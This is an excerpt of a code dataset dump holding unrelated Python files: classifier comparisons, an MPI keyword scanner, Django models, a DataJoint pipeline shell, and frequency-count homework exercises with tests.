data\n","sub_path":"sphinxcontrib/confluencebuilder/translator.py","file_name":"translator.py","file_ext":"py","file_size_in_byte":70749,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"317835193","text":"# Importing the libraries\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nfrom sklearn import metrics\r\nfrom sklearn.metrics import confusion_matrix\r\nfrom sklearn.ensemble import AdaBoostClassifier\r\nfrom sklearn.ensemble import BaggingClassifier\r\n\r\n# Importing the dataset\r\ndataset = pd.read_csv('test.csv')\r\nX = dataset.iloc[:, 0:10].values\r\ny = dataset.iloc[:, 10].values\r\n\r\n#categorical data\r\nfrom sklearn.preprocessing import LabelEncoder\r\nlabelencoder_y = LabelEncoder()\r\ny = labelencoder_y.fit_transform(y)\r\n\r\n\r\n# Splitting the dataset into the Training set and Test set\r\nfrom sklearn.model_selection import train_test_split\r\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 0.2, random_state = 0)\r\n\r\n\r\n# Feature Scaling\r\nfrom sklearn.preprocessing import StandardScaler\r\nsc = StandardScaler()\r\nX_train = sc.fit_transform(X_train)\r\nX_test = sc.transform(X_test)\r\n\r\n# Applying PCA\r\nfrom sklearn.decomposition import PCA\r\npca = PCA(n_components =None)\r\nX_train = pca.fit_transform(X_train)\r\nX_test = pca.transform(X_test)\r\n\r\n\r\n#knn classifier(using eucledian distance)\r\nfrom sklearn.neighbors import KNeighborsClassifier\r\nclassifier_knn=KNeighborsClassifier(n_neighbors=5,metric='minkowski', p=2)\r\nclassifier_knn.fit(X_train,y_train)\r\ny_pred_knn=classifier_knn.predict(X_test)\r\n\r\n\r\naccuracy_knn=metrics.accuracy_score(y_test,y_pred_knn)\r\nprint(\"KNN Classifier:\",accuracy_knn)\r\n\r\ncm=confusion_matrix(y_test,y_pred_knn)\r\nprint(cm)\r\n\r\n# Fitting Decision Tree Classification to the Training set\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nclassifier = DecisionTreeClassifier(criterion = 'entropy')\r\nclassifier.fit(X_train, y_train)\r\n\r\ny_pred = classifier.predict(X_test)\r\n\r\n\r\naccuracy_dt=metrics.accuracy_score(y_test,y_pred)\r\nprint(\"Decision Tree:\",accuracy_dt)\r\n\r\n# Making the Confusion Matrix\r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(cm)\r\n\r\n# Fitting SVM to the Training set\r\nfrom sklearn.svm import SVC\r\nclassifier = SVC(kernel = 'linear')\r\nclassifier.fit(X_train, y_train)\r\n\r\n# Predicting the Test set results\r\ny_pred = classifier.predict(X_test)\r\n\r\n\r\naccuracy_svm=metrics.accuracy_score(y_test,y_pred)\r\nprint(\"SVM:\",accuracy_svm)\r\n\r\n# Making the Confusion Matrix\r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(cm)\r\n\r\n\r\n# Fitting Kernel SVM to the Training set\r\nfrom sklearn.svm import SVC\r\nclassifier = SVC(kernel = 'rbf', random_state = 0)\r\nclassifier.fit(X_train, y_train)\r\n\r\n# Predicting the Test set results\r\ny_pred = classifier.predict(X_test)\r\n\r\n\r\naccuracy_ksvm=metrics.accuracy_score(y_test,y_pred)\r\nprint(\"Kernel SVM:\",accuracy_ksvm)\r\n\r\n\r\n# Making the Confusion Matrix\r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(cm)\r\n\r\n# Fitting Naive Bayes to the Training set\r\nfrom sklearn.naive_bayes import GaussianNB\r\nclassifier = GaussianNB()\r\nclassifier.fit(X_train, y_train)\r\n\r\n# Predicting the Test set results\r\ny_pred = classifier.predict(X_test)\r\n\r\n\r\naccuracy_nb=metrics.accuracy_score(y_test,y_pred)\r\nprint(\"Naive Bayes:\",accuracy_nb)\r\n\r\n# Making the Confusion Matrix\r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(cm)\r\n\r\n# Fitting Random Forest Classification to the Training set\r\nfrom sklearn.ensemble import RandomForestClassifier\r\nclassifier = RandomForestClassifier(n_estimators = 10, criterion = 'entropy', random_state = 0)\r\nclassifier.fit(X_train, y_train)\r\n\r\n# Predicting the Test set results\r\ny_pred = classifier.predict(X_test)\r\n\r\n\r\naccuracy_rf=metrics.accuracy_score(y_test,y_pred)\r\nprint(\"Random Forest\",accuracy_rf)\r\n\r\n\r\n# Making the Confusion Matrix\r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(cm)\r\n\r\nacc=[accuracy_knn,accuracy_dt,accuracy_nb,accuracy_svm,accuracy_ksvm,accuracy_rf]\r\n'''plt.hist(acc)\r\nplt.show()\r\n'''\r\nab=[1,2,3,4,5,6]\r\nplt.scatter(ab, acc, color = 'red')\r\nplt.title('Accuracy plot')\r\nplt.xlabel('Classifiers: 1:knn,2:dt,3:nb,4:svm,5:ksvm,6:rf')\r\nplt.ylabel('Accuracy')\r\nplt.show()\r\n\r\nclf=SVC(kernel='rbf')\r\nada = AdaBoostClassifier(base_estimator=clf, n_estimators=50, learning_rate=1.0, algorithm='SAMME', random_state=None)\r\nada.fit(X_train,y_train)\r\ny_pred=ada.predict(X_test)\r\naccuracy=metrics.accuracy_score(y_test,y_pred)\r\nprint(\"Boosting: \",accuracy)\r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(cm)\r\n\r\n\r\nbclf = BaggingClassifier(base_estimator=clf, n_estimators=50, random_state=None)\r\nbclf.fit(X_train,y_train)\r\ny_pred=bclf.predict(X_test)\r\naccuracy=metrics.accuracy_score(y_test,y_pred)\r\nprint(\"Bagging: \",accuracy)\r\ncm = confusion_matrix(y_test, y_pred)\r\nprint(cm)","sub_path":"SIFT_model.py","file_name":"SIFT_model.py","file_ext":"py","file_size_in_byte":4459,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"588791361","text":"#/usr/bin/env python3\n\nimport os \nimport sys \nimport subprocess as subp \n\n# ====\n# subroutines \n# ====\ndef Bytes2String (bs, encode_mode = \"utf-8\"): \n assert(type(bs) is bytes) \n \n return bs.decode(encode_mode).strip() \n\n\ndef kwCommented (aline, kw): \n assert(type(kw) is str) \n assert(type(aline) is str)\n\n i_ss = aline.find(\"//\")\n i_kw = aline.find(kw) \n\n if (i_kw < 0 or i_ss < 0):\n return False \n if (i_kw > i_ss): \n return True \n\n return False \n\n\ndef kwDefined (aline, kw): \n assert(type(kw) is str) \n assert(type(aline) is str)\n\n i_df = aline.find(\"#define\")\n i_kw = aline.find(kw) \n\n if (i_kw < 0 or i_df < 0): \n return False \n if (i_kw > i_df): \n return True \n\n return False \n\n\ndef kwAllPrefixing (aline, kw): \n assert(type(kw) is str) \n assert(type(aline) is str)\n \n i_kw = aline.find(kw)\n assert(i_kw >= 0)\n\n myop = False\n ntop = True \n \n if (len(aline) > (i_kw + len(kw))): \n if (aline[i_kw+len(kw)].isalpha()): \n myop = True \n\n aline = aline[i_kw+len(kw):]\n \n if ((aline is not None) and \n (len(aline) > 0) and \n (aline.find(kw) >= 0)): \n ntop = kwAllPrefixing(aline, kw) \n\n return (myop and ntop) \n\n\ndef kwAllPostfixed (aline, kw): \n assert(type(kw) is str) \n assert(type(aline) is str)\n\n i_kw = aline.find(kw) \n assert(i_kw >= 0) \n\n myop = False \n ntop = True \n\n if (i_kw > 0): \n if (aline[i_kw-1] != \" \"): \n myop = True \n\n aline = aline[i_kw+len(kw):] \n\n if ((aline is not None) and \n (len(aline) > 0) and \n (aline.find(kw) >= 0)): \n ntop = kwAllPostfixed(aline, kw)\n\n return (myop and ntop) \n\n\ndef grepKeyword (kw): \n assert(type(kw) is str) \n\n grep = subp.Popen(\"grep -RF \\\"\" + kw + \"\\\" *\", shell=True, stdout=subp.PIPE, stderr=subp.PIPE) \n rels = []\n \n for aline in grep.stdout:\n aline = Bytes2String(aline) \n aline = aline.strip() \n\n if (aline == \"\"): \n continue\n\n rels.append(aline) \n\n return rels\n\n\ndef checkKeywords (kws = []): \n assert(len(kws) >= 1) \n\n print (\"----\") \n print (\"Check Keywords: \" + str(kws)) \n print (\"----\")\n\n rels = grepKeyword(kws[0]) \n \n for kw in kws: \n new_rels = []\n \n for s in rels: \n if (s.find(kw) < 0): \n continue \n if (kwCommented(s, kw)): \n continue \n if (kwDefined(s, kw)):\n continue \n if (kwAllPrefixing(s, kw)):\n continue \n if (kwAllPostfixed(s, kw)): \n continue \n\n new_rels.append(s) \n\n rels = new_rels\n\n for s in rels: \n print (s) \n\n\n\n# ====\n# main \n# ====\n# -- get target directory -- \nDIR_APP = str(input(\"Application Base Directory: \")).strip() \nassert(os.path.isdir(DIR_APP)) \n\n\n# -- go to the target directory -- \nos.chdir(DIR_APP) \n\n\n# -- check the keywords --\n# check MPI_ANY_SOURCE\ncheckKeywords([\"MPI_ANY_SOURCE\"]) \n\n# check wildcard Recv \ncheckKeywords([\"MPI_ANY_SOURCE\", \"MPI_Recv\"]) \n\n# check wildcard Irecv\ncheckKeywords([\"MPI_ANY_SOURCE\", \"MPI_Irecv\"]) \n\n# check MPI_Barrier \ncheckKeywords([\"MPI_Barrier\"]) \n\n# check MPI_Send\ncheckKeywords([\"MPI_Send\"])\n\n# check MPI_Isend\ncheckKeywords([\"MPI_Isend\"])\n\n# check MPI_Recv\ncheckKeywords([\"MPI_Recv\"])\n\n# check MPI_Irecv \ncheckKeywords([\"MPI_Irecv\"])\n\n# check MPI_Wait \ncheckKeywords([\"MPI_Wait\"])\n\n# check MPI_Waitall \ncheckKeywords([\"MPI_Waitall\"])\n\n# check MPI_Waitany \ncheckKeywords([\"MPI_Waitany\"])\n\n# check MPI_Waitsome \ncheckKeywords([\"MPI_Waitsome\"])\n\n# check MPI_Test\ncheckKeywords([\"MPI_Test\"])\n\n# check MPI_Testall\ncheckKeywords([\"MPI_Testall\"])\n\n# check MPI_Testany\ncheckKeywords([\"MPI_Testany\"])\n\n# check MPI_Testsome\ncheckKeywords([\"MPI_Testsome\"])\n\n# check MPI_Probe \ncheckKeywords([\"MPI_Probe\"])\n\n# check MPI_Iprobe \ncheckKeywords([\"MPI_Iprobe\"])\n\n","sub_path":"static-predictor.py","file_name":"static-predictor.py","file_ext":"py","file_size_in_byte":3965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"297300586","text":"import sys, urllib.request\n\n\nrfc_number = int(2324)\n\n\ntemplate = 'http://ietf.org/rfc/rfc{}.txt'\nurl = template.format(rfc_number)\nrfc_raw = urllib.request.urlopen(url).read()\nrfc = rfc_raw.decode()\nprint(rfc)\n","sub_path":"Stuff I started with and can probably canibalise but probably shouldnt/001 - RFC Downloader.py","file_name":"001 - RFC Downloader.py","file_ext":"py","file_size_in_byte":210,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"545838607","text":"from django.contrib.auth.models import User\nfrom django.dispatch import receiver\nfrom django.db import models\nfrom django.db.models.signals import post_save\nfrom django.urls import reverse\nimport datetime\nfrom phonenumber_field.modelfields import PhoneNumberField\n\nPRESENT = (\n ('Yes', 'Yes'),\n ('At Risk', 'At Risk'),\n ('No', 'No')\n)\n\nclass Profile(models.Model):\n user = models.OneToOneField(User, on_delete=models.CASCADE)\n phone = PhoneNumberField()\n\n@receiver(post_save, sender=User)\ndef create_user_profile(sender, instance, created, **kwargs):\n if created:\n Profile.objects.create(user=instance)\n instance.profile.save()\n\nclass ProfilePhoto(models.Model):\n url = models.CharField(max_length=200)\n filename = models.CharField(max_length=50)\n profile = models.OneToOneField(Profile, on_delete=models.CASCADE)\n\nclass Art(models.Model):\n name = models.CharField(max_length=100)\n artist = models.CharField(max_length=100)\n description = models.TextField(max_length=250)\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n present = models.CharField(\n max_length=7,\n choices=PRESENT,\n default=PRESENT[0][0]\n )\n\n def __str__(self):\n return self.name\n\n def get_absolute_url(self):\n return reverse('art_detail', kwargs={'art_id': self.id})\n\nclass Photo(models.Model):\n url = models.CharField(max_length=200)\n filename = models.CharField(max_length=50)\n art = models.ForeignKey(Art, on_delete=models.CASCADE)\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n\nclass Comment(models.Model):\n date = models.DateField(default=datetime.datetime.now)\n content = models.TextField(max_length=200)\n art = models.ForeignKey(Art, on_delete=models.CASCADE)\n user = models.ForeignKey(User, on_delete=models.CASCADE)\n\n # change the default sort for comments\n class Meta:\n ordering = ['-date']","sub_path":"main_app/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1923,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"369595515","text":"# map-ephys interative shell module\n\nimport os\nimport sys\nimport logging\nfrom code import interact\n\nimport datajoint as dj\n\nfrom pipeline import lab\nfrom pipeline import experiment\nfrom pipeline import ccf\nfrom pipeline import ephys\nfrom pipeline import histology\nfrom pipeline import tracking\nfrom pipeline import psth\nfrom pipeline import publication\n\npipeline_modules = [lab, ccf, experiment, ephys, histology, tracking, psth,\n publication]\n\nlog = logging.getLogger(__name__)\n\n\ndef usage_exit():\n print(\"usage: {p} [{c}]\"\n .format(p=os.path.basename(sys.argv[0]),\n c='|'.join(list(actions.keys()))))\n sys.exit(0)\n\n\ndef logsetup(*args):\n level_map = {\n 'INFO': logging.INFO,\n 'WARNING': logging.WARNING,\n 'ERROR': logging.ERROR,\n 'DEBUG': logging.DEBUG,\n }\n level = level_map[args[0]] if args else logging.INFO\n\n logging.basicConfig(level=logging.ERROR)\n log.setLevel(level)\n logging.getLogger('pipeline.ingest.behavior').setLevel(level)\n logging.getLogger('pipeline.ingest.ephys').setLevel(level)\n logging.getLogger('pipeline.ingest.tracking').setLevel(level)\n logging.getLogger('pipeline.ingest.histology').setLevel(level)\n logging.getLogger('pipeline.psth').setLevel(level)\n logging.getLogger('pipeline.ccf').setLevel(level)\n logging.getLogger('pipeline.publication').setLevel(level)\n\n\ndef ingest_behavior(*args):\n from pipeline.ingest import behavior as behavior_ingest\n behavior_ingest.BehaviorIngest().populate(display_progress=True)\n\n\ndef ingest_ephys(*args):\n from pipeline.ingest import ephys as ephys_ingest\n ephys_ingest.EphysIngest().populate(display_progress=True)\n\n\ndef ingest_tracking(*args):\n from pipeline.ingest import tracking as tracking_ingest\n tracking_ingest.TrackingIngest().populate(display_progress=True)\n\n\ndef ingest_histology(*args):\n from pipeline.ingest import histology as histology_ingest\n histology_ingest.HistologyIngest().populate(display_progress=True)\n\n\ndef populate_psth(*args):\n\n log.info('ephys.UnitStat.populate()')\n ephys.UnitStat.populate()\n\n log.info('psth.UnitPsth.populate()')\n psth.UnitPsth.populate()\n\n log.info('psth.PeriodSelectivity.populate()')\n psth.PeriodSelectivity.populate()\n\n log.info('psth.UnitSelectivity.populate()')\n psth.UnitSelectivity.populate()\n\n\ndef nuke_all():\n if 'nuclear_option' not in dj.config:\n raise RuntimeError('nuke_all() function not enabled')\n\n from pipeline.ingest import behavior as behavior_ingest\n from pipeline.ingest import ephys as ephys_ingest\n from pipeline.ingest import tracking as tracking_ingest\n from pipeline.ingest import histology as histology_ingest\n\n ingest_modules = [behavior_ingest, ephys_ingest, tracking_ingest,\n histology_ingest]\n\n for m in reversed(ingest_modules):\n m.schema.drop()\n\n # production lab schema is not map project specific, so keep it.\n for m in reversed([m for m in pipeline_modules if m is not lab]):\n m.schema.drop()\n\n\ndef publish(*args):\n publication.ArchivedRawEphysTrial.populate()\n\n\ndef shell(*args):\n interact('map shell.\\n\\nschema modules:\\n\\n - {m}\\n'\n .format(m='\\n - '.join(\n '.'.join(m.__name__.split('.')[1:])\n for m in pipeline_modules)),\n local=globals())\n\n\ndef ccfload(*args):\n ccf.CCFAnnotation.load_ccf_r3_20um()\n\n\ndef erd(*args):\n for mod in (ephys, lab, experiment, tracking, psth, ccf, publication):\n modname = str().join(mod.__name__.split('.')[1:])\n fname = os.path.join('pipeline', './images/{}.png'.format(modname))\n print('saving', fname)\n dj.ERD(mod, context={modname: mod}).save(fname)\n\n\nactions = {\n 'ingest-behavior': ingest_behavior,\n 'ingest-ephys': ingest_ephys,\n 'ingest-tracking': ingest_tracking,\n 'ingest-histology': ingest_histology,\n 'populate-psth': populate_psth,\n 'publish': publish,\n 'shell': shell,\n 'erd': erd,\n 'ccfload': ccfload,\n}\n","sub_path":"pipeline/shell.py","file_name":"shell.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"76580594","text":"def solution(begin, target, words):\n answer = 0\n answerQue = []\n \n def searchWord(currWord,words,depth):\n \n if checkDiff(currWord,begin)==True:\n answerQue.append(depth+1)\n else:\n for word in words: \n if checkDiff(word,currWord): \n searchWord(word,[x for x in words if x!=currWord],depth+1)\n \n \n searchWord(target,words,0)\n \n if target not in words:\n answer = 0\n else:\n answer = min(answerQue)\n return answer\n\ndef checkDiff(word1,word2):\n diff = 0\n for x,y in zip(list(word1),list(word2)):\n if x != y: diff += 1\n \n return diff == 1\n\n","sub_path":"dfs,bfs/programmers/wordConversion/wonny.py","file_name":"wonny.py","file_ext":"py","file_size_in_byte":706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"54"} +{"seq_id":"426903934","text":"#\n# Homework 02 - Frequency Count\n#\n# Utilize the frequency count pattern to solve these problems. Use a Hash Set\n# or an Array instead of a Hash Table where applicable.\n\n\n# 1. Unique\n\n# Given an array of integers, return an array with all duplicates removed.*\n\n# Parameters\n# Input: arr {Array of Integers}\n# Output: {Array of Integers}\n\n# Constraints\n# Time: O(N)\n# Space: O(N)\n\n# Examples\n# [1, 2, 4, 4, 5, 6] --> [1, 2, 4, 5, 6]\n# [1, 1, 2, 2, 3, 3] --> [1, 2, 3]\n# [1, 2, 3, 1, 2] --> [1, 2, 3]\n\n\ndef unique(arr):\n uniques = set()\n ans = []\n for i in range(len(arr)):\n if arr[i]not in uniques:\n ans.append(arr[i])\n uniques.add(arr[i])\n return ans\n\n\n# 2. Word Count\n\n# Given an body of text, return a hash table of the frequency of each word.\n\n# Parameters\n# Input: text {String}\n# Output: {Hash Table}\n\n# Constraints\n# Capital and lower case versions of the same word should be counted is the same word.\n# Remove punctuations from all words.\n# Time: O(N)\n# Space: O(N)\n# Where N is the number of characters in the string.\n\n# Examples\n# 'The cat and the hat.' --> '{ the: 2, cat: 1, and: 1, hat: 1 }'`\n# 'As soon as possible.' --> '{ as: 2, soon: 1, possible: 1 }'`\n# 'It's a man, it's a plane, it's superman!' --> '{ its: 3, a: 2, man: 1, plane: 1, superman: 1 }'`\nimport string\ndef word_count(sentence):\n if sentence == '':\n return {}\n arr = sentence.split(' ')\n ans = {}\n for word in arr:\n word = word.lower()\n word = word.translate(None, string.punctuation)\n if word not in ans:\n ans[word] = 1\n else:\n ans[word] += 1\n return ans\n\n\n# 3. RGB Set\n\n# Given a string of characters where each character is either 'r', 'g', or 'b',\n# determine the number of complete sets of 'rgb' that can be made with the\n# characters.\n\n# Parameters\n# Input: str {String}\n# Output: {Integer}\n\n# Constraints\n# Time: O(N)\n# Space: O(1)\n\n# Examples\n# `'rgbrgb' --> 2`\n# `'rbgrbrgrgbgrrggbbbbrgrgrgrg' --> 7`\n# `'bbrr' --> 0`\n\n\ndef rgb(string):\n count = {'r':0,'g':0,'b':0}\n for char in string:\n if char in count:\n count[char] += 1\n return(min(count['r'], count['g'], count['b']))\n\n# 4. Missing Number\n\n# Given range of 1 to N and an array of unique integers that are within that\n# range, return the missing integers not found in the array\n\n# Parameters\n# Input: n {Integer}\n# Input: arr {Array of Integers}\n# Output: {Array of Integers}\n\n# Constraints\n# Time: O(N)\n# Space: O(N)\n\n# Examples\n# `4, [1, 4, 2] --> [3]`\n# `8, [4, 7, 1, 6] --> [2, 3, 5, 8]`\n# `6, [6, 4, 2, 1] --> [3, 5]`\n\n\ndef missing_number(n, arr):\n items = set(arr)\n ans = []\n for i in range(1, n+1):\n if i not in items:\n ans.append(i)\n return ans\n\n\n# 5. Letter Sort\n\n# Given a string of letters, return the letters in sorted order.\n\n# Parameters\n# Input: str {String}\n# Output: {String}\n\n# Constraints\n# Time: O(N)\n# Space: O(N)\n\n# Examples\n# `hello --> ehllo`\n# `whiteboard --> abdehiortw`\n# `one --> eno`\n\n\ndef letter_sort(string):\n count = {}\n for letter in string:\n if letter not in count:\n count[letter] = 1\n else:\n count[letter] += 1\n ans = []\n for char in list(map(chr, range(97, 123))):\n if char in count:\n ans.append(char * count[char])\n return(''.join(ans))\n\n\n\n# 6. Character Mode\n# Given a string, find the most frequent occurring letter(s) in the string\n\n# Parameters\n# Input: str {String}\n# Output: {String}\n\n# Constraints\n# If more than one letter is tied for the most frequent, return a string of all\n# the letters in one string.\n\n# Upper case characters should count as lower case, and do not include spaces\n# ... as characters.\n\n# Time: O(N)\n# Space: O(N)\n\n# Examples\n# 'hello' --> 'l'\n# 'A walk in the park' --> 'a'\n# 'noon' --> 'no'\n\ndef character_mode(string):\n freq = {}\n order = []\n max = 0\n for char in string:\n char = char.lower()\n if char == ' ':\n continue\n if char not in freq:\n freq[char] = 1\n order.append(char)\n if max == 0:\n max = 1\n else:\n freq[char] += 1\n if max < freq[char]:\n max = freq[char]\n ans = []\n for c in order:\n if freq[c] == max:\n ans.append(c)\n return(''.join(ans))\n\n\n\n\n# 7. Sort Digits\n\n# Given an integer, soft the digits in ascending order and return the new integer.\n# Ignore leading zeros.\n\n# Parameters\n# Input: num {Integer}\n# Output: {Integer}\n\n# Constraints\n# Do not convert the integer into a string or other data type.\n\n# Time: O(N) where N is the number of digits.\n# Space: O(1)\n\n# Examples\n# 8970 --> 789\n# 8 ^ 3, 9 ^ 2, 7 ^ 1, 0 ^ 0\n# 9 ^ 1, 8 ^ 2, 7 ^ 3\n# 32445 --> 23445\n# 10101 --> 111\n\n\ndef sort_digits(n):\n pass\n\n\n# 8. Get Duplicates\n\n# Given an array of values, return only the values that have duplicates in the\n# array\n\n# Parameters\n# Input: arr {Array}\n# Output: {Array}\n\n# Constraints\n# Time: O(N)\n# Space: O(N)\n\n# Examples\n# [1, 2, 4, 2] --> [2]\n# [3, 2, 3, 2, 3, 3, 4] --> [3, 2]\n# [1, 2, 3, 4] --> []\n\n\ndef get_duplicates(arr):\n freq = set()\n added = set()\n ans = []\n for item in arr:\n if item not in freq:\n freq.add(item)\n elif item not in added:\n ans.append(item)\n added.add(item)\n return ans\n\n\n# 9. Anagram Pair\n\n# Given two strings, determine if the strings are anagrams of one another.\n\n# Two words are anagrams of one another if they contain the same letters.\n\n# Parameters\n# Input: str1 {String}\n# Input: str2 {String}\n# Output: {Boolean}\n\n# Constraints\n# With N as the length of the first string, and M as the length of the second string.\n# Time: O(N)\n# Space: O(N)\n\n# Examples\n# \"cat\", \"act\" --> true\n# \"cat\", \"dog\" --> false\n# \"racecar\", \"aaccrres\" --> false\n\n\ndef anagram_pair(string1, string2):\n # YOUR WORK HERE\n pass\n\n\n# 10. Anagram Palindrome\n\n# Given a string, determine if the string can be rearranged to form a palindrome.\n\n# A palindrome is a word that is the same as its reversed. For example: \"racecar\"\n# and \"noon\" are palindromes because they match their reversed version\n# respectively. On the other hand, \"cat\" is not a palindrome because \"cat\"\n# does not equal \"tac\".\n\n# Parameters\n# Input: str {String}\n# Output: {Boolean}\n\n# Constraints\n# Assume the string only contains lowercase letters and no spaces.\n# Time: O(N)\n# Space: O(1)\n\n# Examples\n# `\"carrace\" --> true (\"carrace\" can be rearranged to \"racecar\")`\n# `\"cat\" --> false`\n\ndef anagram_palindrome(string):\n # YOUR WORK HERE\n pass\n\n\n# ###########################################################\n# ############## DO NOT TOUCH TEST BELOW!!! ###############\n# ###########################################################\n\n\nfrom io import StringIO\nimport sys\n\n\n# custom assert function to handle tests\n# input: count {List} - keeps track out how many tests pass and how many total\n# in the form of a two item array i.e., [0, 0]\n# input: name {String} - describes the test\n# input: test {Function} - performs a set of operations and returns a boolean\n# indicating if test passed\n# output: {None}\ndef expect(count, name, test):\n if (count is None or not isinstance(count, list) or len(count) != 2):\n count = [0, 0]\n else:\n count[1] += 1\n\n result = 'false'\n error_msg = None\n try:\n if test():\n result = ' true'\n count[0] += 1\n except Exception as err:\n error_msg = str(err)\n\n print(' ' + (str(count[1]) + ') ') + result + ' : ' + name)\n if error_msg is not None:\n print(' ' + error_msg + '\\n')\n\n\nclass Capturing(list):\n def __enter__(self):\n self._stdout = sys.stdout\n sys.stdout = self._stringio = StringIO()\n return self\n\n def __exit__(self, *args):\n self.extend(self._stringio.getvalue().splitlines())\n sys.stdout = self._stdout\n\n\n# compare if two flat lists are equal\ndef lists_equal(lst1, lst2):\n if len(lst1) != len(lst2):\n return False\n for i in range(0, len(lst1)):\n if lst1[i] != lst2[i]:\n return False\n return True\n\n\nprint('Unique')\ntest_count = [0, 0]\n\n\ndef test():\n example = unique([1, 2, 4, 4, 5, 6])\n return example is not None and lists_equal(sorted(example), [1, 2, 4, 5, 6])\n\n\nexpect(test_count, 'should return unique values from sorted list with duplicates', test)\n\n\ndef test():\n example = unique([2, 2, 2, 2, 2, 2, 2])\n return example is not None and lists_equal(example, [2])\n\nexpect(test_count, 'should return single value for list with all duplicates', test)\n\n\ndef test():\n example = unique([1, 2, 3, 1, 2])\n return example is not None and lists_equal(sorted(example), [1, 2, 3])\n\nexpect(test_count, 'should return unique values from unsorted list with duplicates', test)\n\n\ndef test():\n example = unique([])\n return example is not None and lists_equal(example, [])\n\nexpect(test_count, \"should return an empty list from empty input\", test)\n\n\nprint('\\nWord Count')\ntest_count = [0, 0]\n\n\ndef test():\n example = word_count(\"The cat and the hat.\")\n return example is not None and example == { 'the': 2, 'cat': 1, 'and': 1, 'hat': 1 }\n\nexpect(test_count, \"should return a dictionary with each word and its frequency\", test)\n\n\ndef test():\n example = word_count(\"It's a man, it's a plane, it's superman!\")\n return example is not None and example == {'its': 3, 'a': 2, 'man': 1, 'plane': 1, 'superman': 1}\n\nexpect(test_count, \"should return dictionary with each word excluding punctuations\", test)\n\ndef test():\n example = word_count (\"\")\n return example is not None and example == {}\n\nexpect(test_count, \"should return empty dictionary for empty string input\", test)\n\n\nprint('\\nrgb')\ntest_count = [0, 0]\n\ndef test():\n example = rgb('rgbrgb')\n return example is not None and example == 2\n\nexpect(test_count, \"should return number correct number of rgb from input\", test)\n\n\ndef test():\n example = rgb(\"rbgrbrgrgbgrrggbbbbrgrgrgrg\")\n return example is not None and example == 7\n\nexpect(test_count, \"should return correct number of rgb from input despite characters out of sequence\", test)\n\n\ndef test():\n example = rgb(\"bbrr\")\n return example is not None and example == 0\n\nexpect(test_count, \"should return 0 as output for no number of rgb\", test)\n\n\ndef test():\n example = rgb(\"\")\n return example is not None and example == 0\n\nexpect(test_count, \"should return 0 for empty input\", test)\n\n\nprint(\"\\nMissing Number\")\ntest_count = [0, 0]\n\ndef test():\n example = missing_number(4, [1, 4, 2])\n return example is not None and lists_equal(example, [3])\n\nexpect(test_count, \"should return [3] for input of [1, 4, 2]\", test)\n\n\ndef test():\n example = missing_number(8, [4, 7, 1, 6])\n return example is not None and lists_equal(example, [2, 3, 5, 8])\n\nexpect(test_count, \"should return [2, 3, 5, 8] for input of [4, 7, 1, 6]\", test)\n\n\ndef test():\n example = missing_number(6, [6, 4, 2, 1])\n return example is not None and lists_equal(example, [3, 5])\n\nexpect(test_count, \"should return [3, 5] for input of [6, 4, 2, 1]\", test)\n\n\nprint(\"\\nLetter Sort\")\ntest_count = [0, 0]\n\ndef test():\n example = letter_sort(\"hello\")\n return example is not None and example == \"ehllo\"\n\nexpect(test_count, \"should return 'ehllo' for input 'hello'\", test)\n\n\ndef test():\n example = letter_sort(\"whiteboard\")\n return example is not None and example == \"abdehiortw\"\n\nexpect(test_count, \"should return 'abdehiortw' for input of 'whiteboard'\", test)\n\n\ndef test():\n example = letter_sort(\"one\")\n return example is not None and example == \"eno\"\n\nexpect(test_count, \"should return 'eno' for input 'one'\", test)\n\n\nprint(\"\\nCharacter Mode\")\ntest_count = [0, 0]\n\ndef test():\n example = character_mode(\"hello\")\n return example is not None and example == \"l\"\n\nexpect(test_count, \"should return 'l' for input 'hello'\", test)\n\ndef test():\n example = character_mode(\"A walk in the park\")\n return example is not None and example == \"a\"\n\nexpect(test_count, \"should return 'a' when input is 'A walk in the park'\", test)\n\ndef test():\n example = character_mode(\"noon\")\n return example is not None and example == \"no\"\n\nexpect(test_count, \"should return 'no' when input is 'noon'\", test)\n\n\nprint(\"\\nSort Digits\")\ntest_count = [0, 0]\n\ndef test():\n example = sort_digits(8970)\n return example is not None and example == 789\n\nexpect(test_count, \"should return '789' when input is '8970'\", test)\n\ndef test():\n example = sort_digits(32445)\n return example is not None and example == 23445\n\nexpect(test_count, \"should return '23445' when input is '32445'\", test)\n\n\ndef test():\n example = sort_digits(10101)\n return example is not None and example == 111\n\nexpect(test_count, \"should return '111' when input is '10101'\", test)\n\n\nprint(\"\\nGet Duplicates\")\ntest_count = [0, 0]\n\ndef test():\n example = get_duplicates([1, 2, 4, 2])\n return example is not None and lists_equal(example, [2])\n\nexpect(test_count, \"should return '[2]' when input is '[1, 2, 4, 2]'\", test)\n\n\ndef test():\n example = get_duplicates([3, 2, 3, 2, 3, 3, 4])\n return example is not None and lists_equal(example, [3, 2]) or lists_equal(example, [2, 3])\n\nexpect(test_count, \"should return '[3, 2]' or '[2, 3]' when input is '[3, 2, 3, 2, 3, 3, 4]'\", test)\n\n\ndef test():\n example = get_duplicates([1, 2, 3, 4])\n return example is not None and lists_equal(example, [])\n\nexpect(test_count, \"should return '[]' when input is '[1, 2, 3, 4]'\", test)\n\n\nprint(\"\\nGet Duplicates\")\ntest_count = [0, 0]\n\ndef test():\n example = 